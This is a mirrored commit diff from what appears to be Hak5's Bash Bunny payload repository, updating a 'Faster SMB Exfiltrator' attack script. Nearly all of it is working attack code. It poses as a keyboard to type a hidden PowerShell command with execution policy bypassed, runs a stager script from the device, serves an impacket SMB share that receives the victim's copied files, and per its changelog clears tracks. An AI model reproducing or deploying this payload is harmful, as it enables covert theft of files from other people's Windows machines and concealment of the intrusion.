mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Updated smb_exfiltrator payload for Bash Bunny v1.1
This commit is contained in:
@@ -3,11 +3,13 @@
|
|||||||
# Title: Faster SMB Exfiltrator
|
# Title: Faster SMB Exfiltrator
|
||||||
# Author: Hak5Darren
|
# Author: Hak5Darren
|
||||||
# Props: ImNatho, mike111b, madbuda
|
# Props: ImNatho, mike111b, madbuda
|
||||||
# Version: 1.0
|
# Version: 1.1
|
||||||
# Category: Exfiltration
|
# Category: Exfiltration
|
||||||
# Target: Windows XP SP3+ (Powershell)
|
# Target: Windows XP SP3+ (Powershell)
|
||||||
# Attackmodes: HID, Ethernet
|
# Attackmodes: HID, Ethernet
|
||||||
#
|
#
|
||||||
|
# CHANGELOG
|
||||||
|
# =========
|
||||||
# Rewrite of the original SMB Exfiltrator payload with:
|
# Rewrite of the original SMB Exfiltrator payload with:
|
||||||
# - Faster copying, using robocopy multithreaded mode
|
# - Faster copying, using robocopy multithreaded mode
|
||||||
# - Faster finish, using a EXFILTRATION_COMPLETE file
|
# - Faster finish, using a EXFILTRATION_COMPLETE file
|
||||||
@@ -15,31 +17,38 @@
|
|||||||
# - Clears tracks by default without second run dialog
|
# - Clears tracks by default without second run dialog
|
||||||
# - Test-Connection handling by ICMP (no lame sleeps)
|
# - Test-Connection handling by ICMP (no lame sleeps)
|
||||||
# - Hidden powershell window by default
|
# - Hidden powershell window by default
|
||||||
#
|
|
||||||
# LED Status
|
|
||||||
# Red Blinking.........Failed to find dependencies
|
|
||||||
# Purple Blinking......HID Stage
|
|
||||||
# Purple...............Ethernet Stage
|
|
||||||
# Blue/Purple..........Receiving Files
|
|
||||||
# White................Moving Liberated Files
|
|
||||||
# Green................Finished
|
|
||||||
#
|
#
|
||||||
# OPTIONS: configured from s.ps1
|
# REQUIREMENTS
|
||||||
|
# ============
|
||||||
|
# Needs impacket to be copied to /tools/impacket and installed
|
||||||
|
# Option A:
|
||||||
|
# 1. Download impacket from https://github.com/CoreSecurity/impacket
|
||||||
|
# 2. Copy impacket folder to /tools on the Bash Bunny flash drive
|
||||||
|
# 3. Boot Bash Bunny into arming mode and connect to console via serial
|
||||||
|
# 4. Issue "python /tools/impacket/setup.py install"
|
||||||
|
# Option B:
|
||||||
|
# 1. Download impacket deb package
|
||||||
|
# 2. Copy impacket.deb to /tools on the Bash Bunny flash drive
|
||||||
|
# 3. Boot Bash Bunny into arming mode. Impacket will install automatically.
|
||||||
|
#
|
||||||
|
# LED STATUS
|
||||||
|
# ==========
|
||||||
|
# FAIL........Failed to find dependencies
|
||||||
|
# STAGE1......HID Stage
|
||||||
|
# STAGE2......Ethernet Stage
|
||||||
|
# SPECIAL.....Receiving Files
|
||||||
|
# CLEANUP.....Moving Liberated Files
|
||||||
|
# FINISH......Finished
|
||||||
|
#
|
||||||
|
# OPTIONS
|
||||||
|
# =======
|
||||||
|
# Exfiltration options configured from included s.ps1 script
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
######## INITIALIZATION ########
|
######## INITIALIZATION ########
|
||||||
# Check for impacket. If not found, blink fast red.
|
REQUIRETOOL impacket
|
||||||
if [ ! -d /pentest/impacket/ ]; then
|
GET SWITCH_POSITION
|
||||||
LED R 100
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
######## SETUP ########
|
|
||||||
# Get switch position from bunny helpers
|
|
||||||
source bunny_helpers.sh
|
|
||||||
# Make temporary loot directory
|
# Make temporary loot directory
|
||||||
mkdir -p /loot/smb/
|
mkdir -p /loot/smb/
|
||||||
# Delete any old exfiltration data
|
# Delete any old exfiltration data
|
||||||
@@ -55,39 +64,37 @@ echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all
|
|||||||
|
|
||||||
######## HID STAGE ########
|
######## HID STAGE ########
|
||||||
# Runs hidden powershell which executes \\172.16.64.1\s\s.ps1 when available
|
# Runs hidden powershell which executes \\172.16.64.1\s\s.ps1 when available
|
||||||
LED R B 500
|
GET HOST_IP
|
||||||
|
LED STAGE1
|
||||||
ATTACKMODE HID
|
ATTACKMODE HID
|
||||||
QUACK GUI r
|
RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\s.ps1; exit } }\""
|
||||||
QUACK DELAY 500
|
|
||||||
QUACK STRING "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection 172.16.64.1 -count 1) { \\\172.16.64.1\s\s.ps1; exit } }\""
|
|
||||||
QUACK ENTER
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
######## ETHERNET STAGE ########
|
######## ETHERNET STAGE ########
|
||||||
LED R B
|
LED STAGE2
|
||||||
ATTACKMODE RNDIS_ETHERNET
|
ATTACKMODE RNDIS_ETHERNET
|
||||||
# Start the SMB Server
|
# Start the SMB Server
|
||||||
/pentest/impacket/examples/smbserver.py -comment 'That Place Where I Put That Thing That Time' s /loot/smb >> /loot/smbserver.log &
|
python /tools/impacket/examples/smbserver.py -comment 'That Place Where I Put That Thing That Time' s /loot/smb >> /loot/smbserver.log &
|
||||||
# Re-enable ICMP/echo replies to trip the powershell stager
|
# Re-enable ICMP/echo replies to trip the powershell stager
|
||||||
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all
|
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all
|
||||||
|
LED B 100
|
||||||
# Wait until files are done copying.
|
# Wait until files are done copying.
|
||||||
while ! [ -f /loot/smb/EXFILTRATION_COMPLETE ]; do LED B; sleep 0.5; LED R B; sleep 0.5; done
|
while ! [ -f /loot/smb/EXFILTRATION_COMPLETE ]; do sleep 1; done
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
######## CLEANUP ########
|
######## CLEANUP ########
|
||||||
LED R G B
|
LED CLEANUP
|
||||||
# Delete EXFILTRATION_COMPLETE file
|
# Delete EXFILTRATION_COMPLETE file
|
||||||
rm -rf /loot/smb/EXFILTRATION_COMPLETE
|
rm -rf /loot/smb/EXFILTRATION_COMPLETE
|
||||||
# Move files to udisk loot directory
|
# Move files to udisk loot directory
|
||||||
mv /loot/smb/e/* /root/udisk/loot/smb_exfiltrator
|
mv /loot/smb/e/* /root/udisk/loot/smb_exfiltrator
|
||||||
# Clean up temporary loot directory
|
# Clean up temporary loot directory
|
||||||
rm -rf /loot/smb/e/*
|
rm -rf /loot/smb/e/*
|
||||||
# Sync file system
|
|
||||||
sync; sleep 1; sync
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
######## FINISH ########
|
######## FINISH ########
|
||||||
LED G # Trap is clean
|
# Trap is clean
|
||||||
|
LED FINISH
|
||||||
|
|||||||
Reference in New Issue
Block a user